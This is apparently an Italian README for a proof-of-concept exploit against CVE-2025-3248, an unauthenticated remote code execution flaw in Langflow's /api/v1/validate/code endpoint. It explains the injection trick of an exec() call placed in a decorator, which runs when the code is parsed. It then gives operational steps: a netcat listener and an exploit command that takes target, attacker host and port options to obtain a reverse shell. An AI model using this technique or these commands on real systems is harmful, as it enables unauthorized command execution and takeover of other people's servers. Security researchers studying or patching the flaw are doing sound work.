
Proof-of-concept exploit per CVE-2025-3248, una vulnerabilità di esecuzione remota di codice non autenticata in Langflow, che dimostra l'iniezione di codice tramite l'endpoint /api/v1/validate/code.
Proof-of-Concept per lo sfruttamento di CVE-2025-3248, una vulnerabilità di esecuzione remota di codice non autenticata in Langflow, una piattaforma per la creazione di flussi di lavoro AI/LLM.
Langflow espone un endpoint, POST /api/v1/validate/code, pensato per "validare" uno snippet di codice Python inviato dall'interfaccia utente (ad es. codice di componenti personalizzati). Internamente analizza e compila il codice con ast.parse() / compile() e segnala se è valido — senza richiedere alcuna autenticazione.
Il bug: Python valuta le espressioni dei decoratori al momento dell'analisi/compilazione, prima che la funzione decorata venga mai chiamata. Se il "codice da validare" inviato contiene un decoratore come:
@exec("...codice malevolo...")
def test():
pass
la chiamata exec(...) viene eseguita nel momento in cui il codice viene analizzato — la validazione non deve mai effettivamente invocare test(). Combinato con l'assenza di autenticazione e di sandboxing, una singola richiesta HTTP non autenticata è sufficiente per eseguire comandi arbitrari sull'host che esegue Langflow.
nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
Questo codice è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati (laboratori, CTF, incarichi con esplicita autorizzazione scritta). Non eseguirlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'autore non è responsabile per un uso improprio.